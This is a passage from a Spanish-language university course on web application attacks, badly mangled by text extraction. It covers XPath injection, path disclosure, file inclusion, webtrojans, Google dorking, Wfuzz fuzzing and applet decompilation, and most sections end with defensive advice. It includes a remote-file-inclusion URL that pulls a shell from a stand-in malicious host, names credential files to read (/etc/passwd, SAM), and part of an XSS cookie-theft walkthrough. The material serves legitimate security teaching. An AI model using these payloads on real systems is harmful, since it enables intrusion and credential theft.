[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 16: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

